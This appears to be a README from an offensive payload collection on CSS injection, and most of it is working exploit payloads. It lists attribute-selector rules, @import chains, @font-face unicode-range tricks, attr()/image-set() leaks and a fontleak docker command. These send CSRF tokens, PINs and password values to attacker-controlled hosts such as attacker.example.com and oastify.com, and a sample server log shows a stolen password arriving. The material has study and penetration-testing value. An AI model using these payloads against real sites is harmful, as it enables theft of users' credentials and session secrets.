CSS Injection/README.md
CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes.
CSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.
The attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.
input[value^=a] (prefix attribute selector): Selects elements where the value starts with "a".input[value$=a] (suffix attribute selector): Selects elements where the value ends with "a".input[value*=a] (substring attribute selector): Selects elements where the value contains "a".When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.
input[value^="TOKEN_012"] {
background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
}
input[name="pin"][value="1234"] {
background: url(https://attacker.com/log?pin=1234);
}
Tips:
+ or ~) to style a visible element that appears after the hidden input.input[name="csrf-token"][value^="a"] + input {
background: url(https://example.com?q=a)
}
:has() pseudo-class allows styling a parent element based on its children.div:has(input[value="1337"]) {
background:url(/collectData?value=1337);
}
background) and the suffix check to another (e.g., list-style-image or border-image).This technique is known as Blind CSS Exfiltration. It relies on importing external stylesheets to trigger callbacks.
<style>@import url(http://attacker.com/staging?len=32);</style>
<style>@import'//YOUR-PAYLOAD.oastify.com'</style>
Frames do not always need to be reloaded to reevaluate CSS. The @import rule allows for latency; the browser will process the import and apply the new styles.
SIC allows an attacker to chain multiple extraction steps without reloading the page:
@import rule pointing to a staging payload.background-image), the browser makes a request.@import rule to continue the chain.This advanced technique leverages CSS conditionals (like if()) and variables to perform logic directly within a style attribute.
Example: Stealing a data-uid attribute if it matches a value between 1 and 10.
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
The @font-face CSS at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer. - Mozilla
The unicode-range property allows specific fonts to be used for specific characters. We can abuse this to detect if a specific character is present on the page.
If the character "A" is present, the browser attempts to load the font from /?A. If "C" is not present, that request is never made.
<style>
@font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; }
#sensitive-information{ font-family:poc; }
</style>
<p id="sensitive-information">AB</p>
Limitations:
The CSS attr() function allows CSS to retrieve the value of an attribute of the selected element. With recent updates (see Advanced attr()), this function can be used to extract input's value.
Target HTML:
<html>
<head>
<link rel="stylesheet" href="http://attacker.local/index.css">
</head>
<body>
<input type="text" name="password" value="supersecret">
</body>
</html>
index.css (hosted by attacker):
input[name="password"] {
background: image-set(attr(value))
}
When image-set() is used with attr(), the browser may attempt to interpret the attribute value as a URL. If the stylesheet is cross-domain, the relative URL is resolved against the stylesheet's origin, not the page's origin.
Resulting request on attacker's server:
10.10.10.10 - - [15/Feb/2026 16:33:21] "GET /supersecret HTTP/1.1" 404 -
This technique exploits custom fonts and ligatures. A ligature combines multiple characters into a single glyph. By creating a custom font where specific character sequences (e.g., specific text content) produce a ligature with a huge width, we can detect the change in layout.
docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latest
Payload example using fontleak with a custom selector, parent element, and alphabet.
Warning: The CSS selector must match exactly one element in the target page.
<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>